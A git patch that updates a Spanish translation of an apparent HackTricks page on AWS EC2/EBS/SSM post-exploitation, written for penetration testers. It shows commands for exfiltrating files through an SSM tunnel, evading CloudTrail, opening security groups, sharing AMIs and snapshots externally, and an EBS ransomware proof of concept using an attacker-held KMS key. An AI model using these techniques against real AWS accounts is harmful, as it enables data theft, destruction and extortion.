From b69d4447f6bfe1949646bf570dac56f8e1c0882e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:52:05 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../README.md | 81 ++++++++++++++----- 1 file changed, 63 insertions(+), 18 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9958c3182..b106d23ac 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copiar Instancia en Ejecución -Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: +Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear un AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de él**: ```shell # List instances aws ec2 describe-images @@ -49,32 +49,32 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Las instantáneas son copias de seguridad de volúmenes**, que generalmente contendrán **información sensible**, por lo tanto, revisarlas debería revelar esta información.\ -Si encuentras un **volumen sin una instantánea** podrías: **Crear una instantánea** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta: +**Los snapshots son copias de seguridad de volúmenes**, que generalmente contendrán **información sensible**, por lo tanto, revisarlos debería revelar esta información.\ +Si encuentras un **volumen sin un snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Exfiltración de datos +### Exfiltración de Datos -#### Exfiltración DNS +#### Exfiltración por DNS Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**. -- **Los registros de flujo de VPC no registrarán esto**. +- **Los VPC Flow Logs no registrarán esto**. - No tienes acceso a los registros DNS de AWS. - Desactiva esto configurando "enableDnsSupport" en false con: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### Exfiltración a través de llamadas API +#### Exfiltración a través de llamadas a la API -Un atacante podría llamar a los puntos finales de la API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail. +Un atacante podría llamar a los endpoints de la API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail. -### Grupo de seguridad abierto +### Grupo de Seguridad Abierto -Podrías obtener acceso adicional a los servicios de red abriendo puertos así: +Podrías obtener acceso adicional a servicios de red abriendo puertos como este: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC @@ -119,17 +119,58 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -Tenga en cuenta que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. +Tenga en cuenta que las conexiones SSL fallarán a menos que establezca el flag `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. Finalmente, esta técnica no es específica para atacar clústeres privados de EKS. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. -### Share AMI +--- + +#### Reenvío Rápido de Puerto Local ↔️ Remoto (AWS-StartPortForwardingSession) + +Si solo necesita reenviar **un puerto TCP desde la instancia EC2 a su host local**, puede usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere parámetro de host remoto): +```bash +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8000","localPortNumber"="8000" \ +--region +``` +El comando establece un túnel bidireccional entre tu estación de trabajo (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **sin abrir ninguna regla de grupo de seguridad entrante**. + +Casos de uso comunes: + +* **Exfiltración de archivos** +1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que deseas exfiltrar: + +```bash +python3 -m http.server 8000 +``` + +2. Desde tu estación de trabajo, recupera los archivos a través del túnel SSM: + +```bash +curl http://localhost:8000/loot.txt -o loot.txt +``` + +* **Acceso a aplicaciones web internas (por ejemplo, Nessus)** +```bash +# Forward remote Nessus port 8834 to local 8835 +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8834","localPortNumber"="8835" +# Browse to http://localhost:8835 +``` +Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto claro: +```bash +# On the instance +7z a evidence.7z /path/to/files/* -p'Str0ngPass!' +``` +### Compartir AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` ### Buscar información sensible en AMIs públicas y privadas -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. ### Compartir instantánea de EBS ```bash @@ -137,7 +178,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service debido a lo fácil que es usarlo para cifrar varios servicios de AWS. +Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service, dada la facilidad con la que se puede usar para cifrar varios servicios de AWS. Primero, desde una cuenta de AWS 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'. ``` @@ -243,7 +284,7 @@ Ahora, con la clave accesible públicamente para usar. Podemos utilizar una cuen ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta del 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta. @@ -253,7 +294,7 @@ También vale la pena mencionar que el script detuvo las instancias EC2 para sep ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -A continuación, regrese a la política de clave en la cuenta del 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave. +A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave. ```json { "Version": "2012-10-17", @@ -324,7 +365,7 @@ A continuación, regrese a la política de clave en la cuenta del 'atacante' y e ] } ``` -Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los nuevos volúmenes EBS cifrados. Verás que puedes adjuntar el volumen. +Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) @@ -332,7 +373,7 @@ Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simp ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. +Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos utilizando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. ``` import boto3 import argparse @@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` +## Referencias + +- [Pentest Partners – Cómo transferir archivos en AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}